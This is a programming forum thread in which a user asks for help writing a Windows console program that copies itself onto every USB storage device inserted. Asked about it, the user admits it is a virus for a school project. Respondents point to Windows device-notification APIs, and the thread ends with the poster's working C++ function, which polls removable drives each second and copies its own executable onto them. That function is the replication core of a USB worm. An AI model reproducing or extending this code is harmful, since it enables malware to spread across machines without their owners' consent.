Detect USB Storage Devices On Insert

I want to create a console application that detects when I insert a usb on my pc and then it copies itself to that usb storage device. It also has to detect if an usb storage device is already connected and copies itself to there.

I found an example with GetLogicalDriveStrings but it lists the all the drives on the pc, I need it to be just the usb storage devices.

I could probably come up with a solution where I would search for all the letters like this:

1
2
3
4
5
6
7
8
  char* letter = 'c';
  
  while (letter++ != 'z;){
  
//  check if it exists -> if(exists("e:/")
  
  }
 


But that seems to me a very ugly solution. Please help.

Edit: my current environment is codeblocks20.03 on windows10
Last edited on
And this differs from a virus how?
It doesn't , actually it's a virus that I am creating for a school project.

But even if it is wasn't one, it still would be very useful to know how to detect a usb storage device, don't you think?
closed account (z05DSL3A)
What OS?
windows 10
closed account (z05DSL3A)
You probably want to be looking at the RegisterDeviceNotification function.

code example:
https://docs.microsoft.com/en-us/windows/win32/devio/registering-for-device-notification
To search for devices that are already connected you need to use setupapi.h
https://docs.microsoft.com/en-us/windows/win32/api/setupapi/

You use a function called setupgetclassdevs(w or a) to get a device infoset. Then use setupdienumdeviceinfo to actually pull the information out of the device info set. I actually have some example code here.
https://www.cplusplus.com/forum/beginner/275043/
May I ask what the payload is?

Windows 10 with g++
Gives drives which are in use including usb drives.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include<windows.h>
#include<iostream>
#include<conio.h>
#include<string>

using namespace std;

void locate( int line, int column )
  {
  COORD coord;
  coord.Y = column;
  coord.X = line;
  SetConsoleCursorPosition(
    GetStdHandle( STD_OUTPUT_HANDLE ),
    coord
    );
  }
  
  int main()
  {
  	string s;
  	while (s[0] != 27)
  	{
  		locate(5,5);
  	system("wmic diskdrive get model,mediatype,status,size" );
  	cout<<endl;
  	cout<<"Press esc to end"<<endl;
  	s=getch();
  	Sleep(50);
  }
  }
 
to directly communicate with a USB device is to open a handle to it using createfile().

To use createfile() you need to obtain a device interface's symbolic name. Which is obtained by using this function. See the remarks

https://docs.microsoft.com/en-us/windows/win32/api/setupapi/nf-setupapi-setupdigetdeviceinterfacedetaila

Once the handle to the drive is open you can use read and write operations on it.

Correction. I guess it's possible once you have the device location to do a filemove operation. The above is apparently only for i/o.

Id also like to add that im not a big fan of the message only window solution. I was playing around with that earlier this week and it only seems to receive the notifications if it's the focus of the desktop or active. There maybe a solution to that problem but im thinking it would probably be more of a sure thing to continuously poll the devices in the system that are a specific type and compare it to the initial or previous poll to see if another (or a device) has popped up that meets the requirements.
Last edited on

Thanks guys!!
However, I found the solution that works for me and it is very simple and straight to the point

Here is the function:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

// 'exe' would take the 'argv[0]'
void replicateTo_UBS_Storage(string exe)
{
    while(1)
    {
        char logical_drives[MAX_PATH] = {0};
        DWORD result = GetLogicalDriveStrings(MAX_PATH, logical_drives);

        if(result > 0 && result <= MAX_PATH)
        {
            char* single_drive = logical_drives;

            while(*single_drive)
            {
                if(GetDriveTypeA(single_drive) == DRIVE_REMOVABLE)
                    {
                        string exe_dest(single_drive);
                        exe_dest += "Test.exe";

                        if( ! filesystem::exists(exe_dest))
                            filesystem::copy_file(exe, exe_dest);
                    }

                    single_drive += strlen(single_drive) + 1;
            }
        }

        Sleep(1000);
    }
}


references:
https://stackoverflow.com/a/18573199/11337328

https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-getdrivetypea
Topic archived. No new replies allowed.